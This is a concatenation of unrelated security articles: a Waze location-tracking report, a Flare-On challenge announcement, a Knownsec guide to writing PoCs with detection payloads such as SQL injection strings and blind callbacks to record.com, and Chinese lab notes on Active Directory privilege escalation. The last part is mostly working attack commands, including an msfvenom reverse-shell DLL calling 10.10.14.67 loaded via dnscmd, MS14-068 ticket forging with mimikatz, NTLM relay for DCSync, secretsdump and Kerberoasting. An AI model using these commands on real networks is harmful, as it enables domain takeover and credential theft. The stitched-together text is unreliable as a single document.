上周,我自己也对Waze中的漏洞进行了测试,因为我想了解到研究人员是如何能够对我那为期三天的旅程进行跟踪的。我在此过程中的所有信息都有可能被那些喜欢多管闲事的攻击者获取到,例如我去过哪些地方,在哪些地方停留过等等。
研究人员捕捉到了我三个不同时间点的位置信息,其中就包括我当时在拉斯维加斯乘坐出租车去吃晚餐的行为。
除此之外,他们还捕捉到了我在旧金山乘坐公交车上下班的情况。但是当我乘坐地铁时,他们就无法对我进行跟踪了。
只有当我在地面车辆上行驶,并且Waze运行在智能手机的前台时,安全研究人员才能够追踪到我。但是在此之前,即便是Waze运行在手机的后台,他们同样能够追踪到用户的行踪。
如上图所示,即使是我的智能手机中安装了防护软件,研究人员仍然能够对我所处的地理位置进行实时追踪。上图显示的就是我的行驶路程,而且无论是时间还是地点,都十分的准确。
2013年6月12日,Google公司正式宣布收购Waze。社交一直是Google的业务短板,尽管公司曾极力打造Google+,欲使之成为“社交脊柱”,贯穿公司的其它业务,但并不成功。随着Waze的加盟,可能会使Google在移动社交时代获得新的思路,让用户共享已浏览网站和一些其它形式的内容。收购Waze可以强化Google社交移动业务。之前,Waze已经融资6700万美元。它可以为Google强化社交实力,在移动通信领域牵制对手。收购之后的Waze仍然会独立于Google地图之外,一些Waze实时交通数据会植入Google地图,未来Google搜索功能会进一步与Waze融合。
当Ben
Zhao的安全研究团队发现了这个问题之后,便立刻将漏洞信息提交给了谷歌公司,并且还在去年发表了一篇关于这项研究的[论文](http://arxiv.org/pdf/1508.00837.pdf)。今年一月,谷歌公司也对Waze进行了升级更新,以防止应用程序在后台运行时,仍然会提交用户的位置信息。所以,如果你还没有升级Waze的话,请赶紧升级吧!
在此之前,Waze还允许用户标记警察出现的位置,提醒其他用户注意“警察出没”。允许标记警察位置,无论设计这一功能的初衷是什么,现在都被美国的治安管理部门认为Waze有可能会成为不法之徒跟踪警察的工具,他们也极力要求谷歌取消该功能。洛杉矶警察局长Charlie
Beck在2014年12月30日给谷歌首席执行官写了一封信,他在信中抱怨说:“Waze有可能会被“犯罪份子不恰当的使用,从而危及警察群体。我相信贵公司也不愿意看到Waze被不法分子加以利用,成为跟踪警察位置的瞭望台。”
对于警察的发难,谷歌拒绝发表评论,但它将这一问题交给了Waze的发言人-Julie
Mossler。她表示,Waze对产品的安全性非常重视,考虑得也非常全面和深入。Waze在与纽约警局,以及世界其他地区的警察部门和交通部门合作,共享众包信息。Julie
Mossler 说到:“这些合作关系有助于保障公民的出行安全,提供快速应急响应,避免拥堵从而缓解交通压力。”
Waze的发言人还表示,公司正在对安全研究人员发现的问题进行检测和处理,公司的技术人员会采取进一步措施来保护用户的隐私信息。
与此同时,如果你确实需要使用Waze,但又担心你被不法分子跟踪,你可以按照下面给出的建议方法进行处理:将Waze设置成隐身模式。但是请广大用户注意,Waze会在每次重启之后,关闭隐身模式。 | 社区文章 |
简介部分来自[官网链接](https://www.fireeye.com/blog/threat-research/2016/11/2016_flare-on_challe.html)。
FireEye 主办的 Flare-On
挑战赛现已结束。今年的奖项是一个仍在生产的警徽式的奖章，下面便是宣传大纲。今年挑战赛的所有124名获奖者将获得奖章一枚（截至东部上午10点）。今年有超过2,063名玩家参与其中。
下面是挑战赛的出题人名单：
1. Alexander Rich
2. Matt Williams (@0xmwilliams)
3. Dominik Weber
4. James T. Bennett (@jtbennettjr)
5. Tyler Dean
6. Josh Homan
7. Alex Berry
8. Nick Harbour (@nickharbour)
9. Jon Erickson (@2130706433)
10. FireEye Labs Advanced Vulnerability Analysis Team (FLAVA)
今年的 Flare-On
在形式上最显著受欢迎的变化是从电子邮件后端系统转移到基于CTFd的交互式框架。这一变化的结果就是活跃玩家和解决方案的指标有了很大改进，并且在Flare-On挑战历史上首次实现了100％的正常运行时间。
今年，总共有38个国家参加了总决赛。
今年的挑战的所有二进制文件现已发布：[下载地址](http://paper.seebug.org/papers/Archive/2016-FLARE-ON/Flare-On3_Challenges.zip)。
这里是每个挑战者写的解题思路：
http://paper.seebug.org/papers/Archive/2016-FLARE-ON/
* * * | 社区文章 |
**Author：RickGray@Knownsec 404 Team**
**Chinese Version:<https://paper.seebug.org/9/>**
Now there is a phenomenon that once a PoC with a high-risk vulnerability is
detected or an EXP is released, there will be a large group of people trying
to verify it, and so do I.
In this interlocking vulnerability emergency life cycle: from the disclosure
of vulnerabilities to researchers’ analysis and verification, to PoC writing,
and then to large-scale scanning and testing, I think the most critical part
should be regarded as PoC writing and vulnerability detection:
* **PoC Writing** \- Reproduce the vulnerability environment and recur the vulnerability in the process of coding.
* **Vulnerability Detection** – By using the finished PoC to verify whether the test target has a vulnerability. It is important to note that this process (or when writing a PoC) needs to be safe, effective, and harmless, and avoid unrecoverable impact on the host computer in the scanning process as much as possible.
PoC writing, in my opinion, is the most basic work of security researchers or
vulnerability analysts. The programmer describes the process of vulnerability
verification and analysis by code, and writes the corresponding PoC according
to different types of vulnerabilities. Based on the accumulated experience of
writing PoC, the criteria are summarized as follows:
* Randomness
* Certainty
* Versatility
## PoC Writing Guidelines & Examples
### 1\. Randomness
The key variables or data involved in PoC should be random. Don’t use a fixed
variable value to generate Payload and produce randomly as much as possible,
such as the file name of uploaded file, webshell password, string of Alert,
the value of MD5 and so on. What has been widely used in examples is pocsuite
PoC framework.
The code shown above is a key part of the validation code for arbitrary file
upload vulnerability caused by a topic in WordPress, in which "kstest.php" is
used as the name of upload file each time. It’s obvious that the fixed file
name violates the principle of randomness mentioned above. I don’t mean that
there is something wrong with using fixed variables or data in PoC, instead,
being able to randomize data can reduce the risks involved in the process of
scanning and testing.
According to the principle of randomness, the code can be modified as follows:
The modified name of the uploaded file is a randomly generated 6-bit character
each time, which I think that to some extent, the possibility of scanning
detection interaction data being tracked is reduced.
### 2\. Certainty
By means of the returned contents after the test, PoC can find a unique
identifier to indicate whether the vulnerability exists, and this
identification needs to be targeted. Don’t use too ambiguous conditions to
determine such as return status of HTTP request, the controllable content of
fixed page. It can be illustrated by the following examples:
What’s shown above is a vulnerability verification code which is injected with
a "UNION" type SQL for a Web application. The code is directly injected by
writing `-1' union select 1,md5(1) –`. Because there is data echo in this
vulnerability, and if the test is successfully injected, the value of md5(1)
will be printed on the page with `c4ca4238a0b923820dcc509a6f75849b`. This PoC
doesn't seem to have any problems, but combined with the principle of
Randomness, it would be better to use `md5(rand_num)` as the identifier,
because the accuracy is higher after randomization.
It's not a joke here. In case there is no vulnerability in a certain site,
there is `c4ca4238a0b923820dcc509a6f75849b` on the page.
Speaking of this, let's discuss problems that the users of Python "requests"
library might neglect. Sometimes, when we get a request to return an object,
we will make a pre-judgment like the following code:
Some people may say that the conditional judgment in Python is either null or
true, but is this the real case? After practicing and testing, the conditional
judgment of the "Response" object is determined by the returning status code
via HTTP. When the status code range is between "[400, 600]", the conditional
judgment returns "False".
The reason why I mention this point is that sometimes when we test the
vulnerability or send Payload, the target may return "500" because of the
back-end processing logic error. However, at this time, there is already a
vulnerability in the page. If you have previously made a conditional judgment
on the "Response" object by the way mentioned before, it will result in
underreporting.
### 3\. Versatility
The Payload or the included detection code used in PoC should balance with
both environment and platform. If you can construct a generic Payload, never
use a single target detection code. Don't just consider the environment in
which the vulnerability is reproduced such as path form contained in the file
and the executed command. The following image is about an arbitrary file
download vulnerability caused by a plugin in WordPress:
Simply to say, the logic above is to read contents of `/etc/passwd` file
through the arbitrary file download vulnerability and determine whether the
returned file contains key strings or identifiers. Obviously, this Payload
only works in the *nix environment and does not work on Windows platforms. The
better approach is to find a mark that reflects the existence of the
vulnerability based on the environment of the vulnerability application. Here,
we can make a judgment by using configuration file `wp-config.php` in
WordPress (maybe the final way of judgment is not very perfect):
With this change, Payload has taken multiple platform environments into
account and become more universal.
## Vulnerability Detection Methods & Examples
In my opinion, according to the characteristics and forms of Web
vulnerabilities, the methods of vulnerability detection can be divided into
two categories: direct judgment and indirect judgment.
* **Direct judgment** : By sending a request with Payload, it is possible to directly match the corresponding status from the returned content.
* **Indirect judgment** : It cannot judge directly by the returned content, and it needs to use other tools to indirectly reflect the trigger of vulnerability.
### 1\. Direct judgment
#### i. SQLi(with echo)
For SQL injection with echo, the detection method is fixed and you can just
follow the principles of “randomness” and “certainty”.
**Error Based SQL Injection**
payload: "... updatexml(1,concat(":",rand_str1,rand_str2),1) ..."
condition: (rand_str1 + rand_str2) in response.content
For error injection, the Payload constructed with randomness can identify
vulnerabilities more stably and accurately, while fixed strings will cause
mistakes due to some rare events. Simply to say, Payload contains random data
with predictable results. You only need to verify whether the predictable
result exists or not.
**UNION SQL Injection**
payload1: "... union select md5(rand_num) ..."
condition1: md5(rand_num) in response.content
payload2: "... union select concat(rand_str1, rand_str2) ..."
condition2: (rand_str1 + rand_str2) in response.content
It’s very easy to understand `md5(rand_num)`. MySQL has its own function. When
Payload executes successfully, it has a hash value of `md5(rand_num)` on the
page because of the echo. Due to the randomness of Payload, the error rate is
low.
#### ii. XSS（with echo）
payload: "... var _=rand_str1+rand_str2;confirm(_); ..."
condition: (rand_str1 + rand_str2) in response.content
Because I haven’t studied the XSS in depth, try to sense the meaning by your
own imagination.
#### iii. Local File Inclusion/Arbitrary File Download(with echo)
What is the biggest difference between local file inclusion and arbitrary file
download? A local file inclusion can not only obtain the file content but also
dynamically include the execution code of script file, while arbitrary file
download can only get the file content and cannot execute the code.
Therefore, when testing for such vulnerabilities, you need to find a fixed
file relevant to the web application as a test vector when performing file
inclusion or download testing:
payload: "... ?file=../../../fixed_file ..."
condition: (content_flag_in_fixed_file) in response.content
For example, under the application path of WordPress, the `./wp-config.php`
file is the default configuration file, and usually the special string
identifier `require_once(ABSPATH . 'wp-settings.php');` will not be changed.
When scanning a file, you only need to try to download `./wp-config.php` file
and check whether the content contains a feature string to determine whether
there is a vulnerability.
#### iv. Remote Code/Command Execution(with echo)
Both remote code and command execution are about performing, and the usual
practice to do the harmless scanning is to print a random string, or run the
feature function, and then check whether the returned page exists a featured
identifier to confirm the vulnerability.
payload: "... echo md5(rand_num); ..."
condition: (content_flag) in response.content
Of course, performing what kind of feature commands needs to combine with the
specific vulnerability environment.
#### v. SSTI/ELI(with echo)
Compared with traditional SQLi and XSS, template injection and expression
language injection should be regarded as problems in the process of open
framework and integration. When the template content is controllable, various
traditional Web vulnerabilities appear. XSS and command execution can be done
through template injection or expression language injection. The Struts2
vulnerability was once popular, which I think can be classified into this type
of vulnerability. Usually the detection only needs to construct the expression
corresponding to the relevant template language, and the existing injection
expression will be executed and return the content:
payload1: "... param=%(rand_num1 + rand_num2) ..."
condition1: (rand_num1 + rand_num2) in response.content
payload2: "... param=%(rand_num1 * rand_num2) ..."
condition2: (rand_num1 * rand_num2) in response.content
payload3: "... #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(rand_str1+rand_str2),#response.flush(),#response.close() .."
condition3: (rand_str1+ rand_str2) in response.content
#### Vi. Hash File
Sometimes the vulnerability is only related to a single file, such as a
vulnerability caused by Flash or JavaScript. At this time, you can use Hash
File to detect the vulnerability directly. When performing scanning detection,
you firstly need to download the corresponding file for a given path and then
calculate the hash and compare all the hash files with the statistics. If the
match succeeds, the vulnerability exists:
payload: "http://vuln.com/vuln_swf_file.swf"
condition: hash(vul_swf_file.swf) == hash_recorded
The above are examples of "direct judgment" in the Web vulnerability detection
method.
### 2\. Indirect judgement
There was once a time that I was overwhelmed because I couldn’t scan or detect
and there was no echo. At the beginning, I learned to use backhaul to judge.
Later, I got `python -m SimpleHTTPServer` as a simple real-time HTTP Server to
function as the connection monitoring, and then I got the paper "Data
Retrieval over DNS in SQL Injection Attacks". Although the technical point of
the article is to obtain blindly injected data of SQL through DNS query, the
"Data Retrieval over DNS" technology can be applied to most vulnerabilities
that cannot echo, and some public platforms come into being for security
research enthusiasts, such as cloudeye, DNSLog of Bugscan, and the CEYE.IO
platform I rewrote.
The technical principle of "Data Retrieval over DNS" is very simple. Firstly,
there needs to be a domain name that can be configured, such as ceye.io; then
set the nameserver of ceye.io as your own Server A through the agent; next
configure DNS Server on Server A, so that all queries for ceye.io and its
subdomains will go to Server A, and the domain query request can be monitored
timely, as is shown below:
Look directly at the examples (all backend platform uses CEYE.IO), if you
still don’t know how to use.
#### i. XSS (no echo)
It’s very common to use Blind XSS in security testing. "See the box and think
about X" is also the belief of every XSSer:
payload: "... ><img src=http://record.com/?blindxss ..."
condition: {http://record.com/?blindxss LOG} in HTTP requests LOGs
Through blind attack, the trigger browser accesses the preset link address. If
the blind attack is successful, the following link access record will be
received on the platform:
#### ii. SQLi（no echo）
It is very common to have no echo in SQL injection, but with the "Data
Retrieval over DNS" technology, everything becomes simple, provided the target
environment meets the requirements. The article "HawkEye Log/Dns in Sql
Injection" provides Payloads in some common databases that use this
technology.
payload: "... load_file(concat('\\\\',user(),'.record.com\\blindsqli'))
condition: {*.record.com LOG} in DNS queries LOGs
As long as the target system environment meets the requirements and the
injection command is executed, the pre-configured domain name will be parsed,
and the returned data can be obtained through the monitoring platform.
#### iii. SSRF（no echo）
According to the above two examples, you must know its operation.
payload: "... <!ENTITY test SYSTEM "http://record.com/?blindssrf"> ..."
condition: {http://record.com/?blindssrf LOG} in HTTP requests LOGs
#### iv. RCE（no echo）
In the nix system environment, the `curl` command or the `wget` command is
generally used, while the windows system environment does not have such a
convenient command to directly access a link. I used to use the `ftp` command
and file downloads in PowerShell to access the log server. Now there has been
a more common practice which take both nix and Windows into consideration,
which is `ping` command. When “ping” a domain name, it will perform a
recursive DNS query process. At this time, the DNS query request can be
obtained at the back end. When the command is actually executed and the
platform receives the echo, the vulnerability exists.
payload: "... | ping xxflag.record.com ..."
condition: {xxflag.record.com LOG} in DNS queries LOGs
More non-echo Payloads can be viewed at http://ceye.io/payloads.
## Examples of Emergence Practice
Let’s take scanning test for example
**Java deserialization (usual case: ftp/ping)**
Let's firstly talk about the Java deserialization vulnerability that broke out
at the end of 2015, which can be regarded as the most common Web vulnerability
at that time. I remember when the emergency scan was performed, WebLogic did
not get the PoC back. It used the connection method to judge while scanning
and detecting. Because the target to be tested contains *nix and windows
environment, it wrote two different Payloads. The generation part of the scan
code is as follows:
#### i. *nix
The real log contents at that time:
It can be seen that I uniquely identify the IP address and port of each test
by linking parameters when constructing Payload, so that when checking the
access log, we can determine which test target the record came from (because
of the entry IP and exit IP may be inconsistent). At the same time, it is
convenient to perform target confirmation and log processing when performing
batch scan.
#### ii. windows
The real log contents at that time:
Because `ftp` command on Windows cannot carry the same mark like parameter, it
is not easy to confirm the target by observing the FTP Server connection log
due to the fact that sometimes entry IP and exit IP may be inconsistent.
The above PoC and log screenshots were all left in the emergency last year.
Combined with the current knowledge, I realize that using the generic Payload
"ping xxxxx.record.com" and the "Data Retrieval over DNS" technology to
collect log information is more convenient to detect and scan. So recently, I
changed Payload combined with the CEYE.IO platform to test the impact
situation of WebLogic deserialization vulnerability.
Adding a random string as part of a subdomain is to prevent problems caused by
local DNS caching when detecting for multiple times. (The system usually
caches DNS records. After the same domain name is firstly resolved through the
network, the local cache is usually used directly instead of initiating the
query request for the second time). The corresponding platform records are as
follows, and it’s very useful to have such a platform by the way.
Welcome to talk about more with me related to scan detection.
## About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
# 0x01、前言
菜鸡一枚，标题起的可能有点大，只是个人笔记整理的一个合集（所以基本每个例子都会有实例）。所以虽然说是合集，可能都没有囊括到各位大佬会的一半。还请各位大佬轻喷
# 0x02、目录
1. GPP和SYSVOL中的密码
2. MS14-068
3. DNSAdmins
4. 不安全的GPO权限
5. 不安全的ACLs权限
6. Exchange
7. LLMNR/NBT-NS 投毒
8. Kerberoasting
9. AD recyle Bin
# 0x03、 GPP和SYSVOL中的密码
什么是GPP:
GPP被用来将通用的本地管理员密码应用于所有工作站、应用全新的管理员帐户、为其他用户安排任务、应用打印机等用途
一般域内机子较多的情况，管理员为了方便管理，在主机上设置本地管理员密码GPP。配置此功能后，会在域控制器上创建一个XML文件，其中包含将策略应用于连接到域的工作站或便携式计算机时配置帐户所需的信息。
该xml文件包含管理帐户的密码，一般情况下任意域用户都可以读取（通常是DC开启SYSVOL目录共享）
这里不得不提的一点是Microsoft已使用AES加密了xml文件中的密码以提高安全性，但又发布了用于加密和解密该值的密钥（所以这是什么操作？？？）
漏洞利用：
接到域控制器的默认SYSVOL共享，并在其中搜索groups.xml的实例。如果存在这些文件，位于格式类似于以下的文件夹中：
\\active.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
## 0x03.1、定位域控制器
set l
nltest /DSGETDC:
echo %logonserver%
net time /domain
......
## 0x03.2、查询DC共享目录
使用enumlinux或者smbmap检查共享目录
smbmap -H 10.10.10.100 ###列出目标用户共享列表
---- ----------- ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ NO ACCESS
NETLOGON NO ACCESS
Replication READ ONLY
SYSVOL NO ACCESS
Users NO ACCESS
## 0x03.3、连接域共享
smbclient //active.local/Replication -N
smb:
\active.local\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups>
more Groups.xml
<?xml version="1.0" encoding="utf-8"?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.local\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.local\SVC_TGS"></Properties></User>
##
0x03.4、使用[gpprefdecrypt.py](https://github.com/leonteale/pentestpackage/blob/master/)解密：
python gpprefdecrypt.py edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
# 0x04、MS14-068
危害：任意域内用户都可以提权到域控
一般为本地账户才能成功，但是使用klist purge清除缓存证书可绕过限制
## 0x04.1、漏洞成因
在 KDC 对 PAC 进行验证时，根据协议规定必须是带有 server Hash、KDC Hash 的签名算法才可以（原本的设计是 HMAC 系列的
checksum 算法），但微软在实现上，却允许任意签名算法。只要客户端指定任意签名算法，KDC
就会使用指定的算法进行签名验证，致使导致恶意用户在发送给KDC的TG_REQ中可以创建包含管理员帐户成员身份的伪造PAC被KDC接收，并将其放入TG_REP中发布的新TGT票证中。该票证可用于向KDC要求服务票证的服务升级特权：在这种情况下，是smb服务票证。
什么是PAC（特权帐户证书）：
PAC包含域控制器（DC）提供的授权数据，Active Directory将授权数据存储在PAC（特权帐户证书）的票证字段中。
PAC由DC在服务单的现场授权数据中提供。它用KDC密钥（只有AD知道）签名，并用要验证的服务和AD之间共享的服务密钥签名。
## 0x04.2、利用条件
1.域控机器没有打漏洞补丁 补丁号：KB3011780
2.拥有一台域内机子及其sid
## 0x04.3、漏洞利用漏洞检测 ##：
FindSMB2UpTime.py(但是这个并不一定准确，因为域控是一般不会重启，但是也有存在意外重启的情况，那么即使有ms14-068也不会显示)
./FindSMB2UPTime.py 192.168.31.220
DC is up since: 2013-12-28 22:24:25This DC is vulnerable to MS14-068
获取域控制器补丁状态:Get-DCPatchStatus.ps1
# This is an example script only.
import-module activedirectory
[string]$KBNumber = "KB3011780"
$DomainControllers = Get-ADDomainController -filter *
[int]$DomainControllersCount = $DomainControllers.Count
[int]$PatchedDCCount = 0
[int]$UnPatchedDCCount = 0
$UnpatchedDCs = @()
Write-Output "Scanning $DomainControllersCount Domain Controllers for patch $KBNumber"
ForEach ($DomainController in $DomainControllers)
{
$DomainControllerHostName = $DomainController.HostName
$PatchStatus = Get-HotFix -ID $KBNumber -ComputerName $DomainController.HostName -ErrorAction SilentlyContinue
IF ($PatchStatus.InstalledOn)
{
$PatchStatusInstalledOn = $PatchStatus.InstalledOn
Write-Output "$DomainControllerHostName patched on $PatchStatusInstalledOn"
$PatchedDCCount++
}
Else
{
Write-Warning "$DomainControllerHostName is NOT patched for $KBNumber (or could not be contacted)"
[array]$UnpatchedDCs += $DomainController.HostName
$UnPatchedDCCount++
}
}
Write-Output "Out of $DomainControllersCount DCs, Patched: $PatchedDCCount & UnPatched: $UnPatchedDCCount "
IF ($UnpatchedDCs)
{
Write-Output "The following DCs are NOT patched for $KBNumber"
$UnpatchedDCs
}
## 0x04.4、环境描述：
目标机器：10.10.10.52 Windows Server 2008 R2 Standard
已获取：DC上的一个普通本地账户
james用户账户密码
james sid （可通过多种途径获取 rpclient：lookupnames james 目标机器shell中：
whoami /all ，）
攻击机：kali 10.10.14.14 （不在域中）
**在Linux上利用：** (有用户凭据、没有目标shell的情况下)
1.安装客户端，在客户端生成票证
sudo apt-get install krb5-user cifs-utils rdate
2.编辑/etc/krb5.conf
[libdefaults]
default_realm = HTB.LOCAL
[realms]
HTB.LOCAL = {
kdc = mantis.htb.local:88
admin_server = mantis.htb.local
default_domain = HTB.LOCAL
}
[domain_realm]
.domain.internal = HTB.LOCAL
domain.internal = HTB.LOCAL
3.添加路由：编辑/etc/resolve.conf
nameserver 10.10.10.52
4.同步域控时间（确定DC的时间（用于票证同步），按照RFC必须在5分钟内完成，但+ -30分钟的偏差也可以的）
[方法1]net time -S 10.10.10.52 -U“” ##获取DC时间，然后收到设置本机时间
[方法2]sudo rdate -n 10.10.10.52 ###直接同步到域控时间
5.为james用户生成一张新的Kerberos票证
kinit -V [email protected] ###kinit中域名需要大写；或直接 kinit james
klist
此时生成的是james的票证：访问C$是没有权限的
kali@kali:~/tools/AD_Recon/pykek$ smbclient -W HTB.LOCAL //MANTIS/c$ -k
tree connect failed: NT_STATUS_ACCESS_DENIED
6.ms14-068生成高权限TGT票证
7.替换低权限票证mv [email protected] /tmp/krb5cc_1000
8.smb成功登录C$
**Mimikatz利用** ：
先在目标机器使用ms14-068.exe生成票据，然后使用mimikatz注入票据，再使用psexec获取权限或winexec执行命令
ms14-068.py -u [email protected] -s
S-1-5-21-4220043660-4019079961-2895681657-1103 -d mantis
将[email protected]文件放入mimikatz目录中
mimikatz.exe log "kerberos::ptc [email protected]"
exit
注入成功即可获得域管理session,可以klist看一下是否有了kerberos Ticket
net use \htb.local\admin$ ####使用IP可能会失败
dir \htb.local\c$
psexec \htb.local cmd.exe
突破“本地账户才能漏洞利用”的限制：
[先 klist
purgr清除缓存证书，再使用mimikatz生成高权限TGT的缓存证书进行连接：](https://www.freebuf.com/vuls/56081.html)
**Impacket套件利用**
也有更简便的方法，不需要上边的种种配置，直接使用impacket套件下的GoldenPac一发入魂（ms14-068+psexec）
# 0x05、DNSAdmins
默认情况下，域控也是DNS服务器，微软的DNS服务器作为域控上的服务来运行。通过DNSadmins到System，拿下域控权限
利用条件：拥有DNSAdmins组成员的用户帐户权限，或者当前用户帐户具有对DNS服务器对象的写特权
whoami /groups 查看用户组
制作dll：
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.67 LPORT=4444 --platform=windows -f dll > plugin.dll
开启smb共享：（可通过net use \10.10.14.67\tw 检测是否能连通smbserver ，
关于smbserver不能连接，排除网络问题之后，可能是共享占用问题，更改共享名称重新开启smbserver即可）
sudo impacket-smbserver tw.
注入dll：
dnscmd.exe 10.10.10.169 /config /serverlevelplugindll
\10.10.14.67\tw\plugin.dll
监听：
nc -lvvp 444
重启dns致使paylload生效：
sc.exe stop dns
sc.exe start dns
或
sc.exe \\10.10.10.169 stop dns
sc.exe \\10.10.10.169 start dns
# 0x06、 不安全的GPO权限
原理及GPO枚举：<https://xz.aliyun.com/t/7724#toc-8>
枚举有GPO修改权限（write Property）的用户
使用PowerView的New-GPOImmediateTask 函数进行利用：
New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-NoP -NonI -W Hidden -Enc ‘payload’ -Force
-TaskName是必需的参数，-Command 指定的命令来运行（默认为powershell.exe），-CommandArguments 指定给定的二进制的参数。schtask .xml会复制到-GPOname或-GPODisplayname参数确定的适当位置。
默认情况下，该功能将在复制前提示您，但是可以使用-Force禁止显示。payload这里可以直接用empire生成的base64的paylaod
执行完成之后删除schtask .xml：
New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy
[Github中的另外利用方式： ](https://github.com/rasta-mouse/GPO-Abuse)
# 0x07、 不安全的ACLs权限
原理及ACLs枚举：<https://xz.aliyun.com/t/7724#toc-9>
对域对象有WriteDacl权限===>DCSync
Exchange提权就是最好的ACL滥用的例子，可结合下面的EXchange进一步理解
# 0x08、Exchange
原理 ：
Exchange Windows
Permissions组成员在域内具有WriteDacl权限，将该组任意集成组WriteDacl权限的成员身份中继到LDAP后，可以修改域对象的ACL授予用户更高级别的访问权限，执行DCSync
也就是利用Exchange默认高权限账户进行LDAP中继授予用户DCSync权限
漏洞利用： net group 查看用户组
或者当前用户不在Exchange Permissions组中，但在Account
Operator中（该组的成员能操作用户管理员所属域的账号和组，并可设置其权限。但是该组成员无法修改Administrators及Operators组及权限），可以添加一个用户并加入到Exchange
Permissions
添加用户tw：
$pass = ConvertTo-SecureString "password" -AsPlainText -Force
New-ADUser tw -AccountPassword $pass -Enabled $True
将用户添加到Exchange Permissions组
net group "Exchange Windows Permissions" svc-alfresco /add
或：
Import-Module ActiveDirectory
Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members tw
检查是否已成功添加
net group "Exchange Windows Permissions" /domain
使用ntlmrelayx进行ntlm中继：
sudo python ntlmrelayx.py -t ldap://10.10.10.161 --escalate-user tw
运行该 中继 命令之后，可通过浏览器访问本地IP进行连接（输入tw账户密码），也可使用prieexchange.py进行连接
python privexchange.py -ah 10.10.16.21 10.10.10.161 -u tw-p password -d htb.local
（10.10.16.21为我kali ip）
连接成功之后，使用secretdump.py导出域控hash #######时间蛮久的，需要出现上图提示
impacket-secretsdump htb.local/tw:[email protected] -just-dc
# 0x09、LLMNR/NBT-NS
投毒原理：如果DNS服务器解析失败，则要求解析的系统使用LLMNR（UDP 5355）或NBNS（UDP
137）在Windows系统上的网段上广播问题或查询。而后攻击者做出响应，请求系统将根据广播期间使用的服务（例如FTP）提供Net-NTLM哈希或明文凭据。
使用Responer执行监听，等待域控触发解析错误
[也可使用MSF操作](http://www.ethicalpentest.com/2018/04/llmnr-and-nbt-ns-poisoning-attack-using-metasploit.html "也可使用MSF操作")
# 0x10、Kerberoasting
原理： 服务主体名称（SPN）用于唯一标识Windows服务的每个实例。为了支持Kerberos身份验证，SPN与至少一个服务登录帐户相关联
Kerberoasting利用点在于Client使用有效的TGT向TGS请求Server的Kerberos令牌，TGS在KDC数据库中查找SPN，并使用与SPN关联的服务帐户对票证进行加密并发送给Client。然而这里TGS加密方式为RC4_HMAC_MD5，使用Server端的NTLM
hash进行加密（使破解成为可能）
此时攻击者借用一个有效的域用户身份请求一个或多个SPN的Kerberos令牌（加密后的TGS），然后进行离线破解得到SPN账户hash（这个过程甚至不用与目标SPN产生交互，即没有已被检测的流量产生，增强攻击的隐蔽性）
假若使用的是HTTP（默认使用的是HTTPS），还可以通过捕获网络流量得到Kerberos令牌，然后进行离线破解攻击：
扫描域中设置了SPN值的用户帐户。
SPN账户格式：serviceclass/host:port/servicename --->
[1]setspn用法： setspn官方文档： https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731241(v=ws.11)
setspn.exe -T test -q */* ###查找test域中所有SPN
[2]dsquery（需要下载），dsquery官方文档： https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732952(v=ws.11)
dsquery * "ou=domain controllers,dc=test,dc=com" -filter "(&(objectcategory=computer) (servicePrincipalName=*))" -attr distinguishedName servicePrincipalName > spns.txt
[3][powershell](https://social.technet.microsoft.com/wiki/contents/articles/18996.active-directory-powershell-script-to-list-all-spns-used.aspx "powershell")
get-aduser -filter {AdminCount -eq 1} -prop * | select name,created,passwordlastset,lastlogondate
使用SPN值从AD请求服务票证
Add-Type –AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken ArgumentList MSSQLSvc/jefflab-sql02.jefflab.local:1433
返回服务票证并将其存储在系统的内存中，可以直接在当前窗口运行mimikatz导出内存中的票证
Kerberos::list /export
导出票证然后用[tgsrecrack.py](https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
"tgsrecrack.py")破解
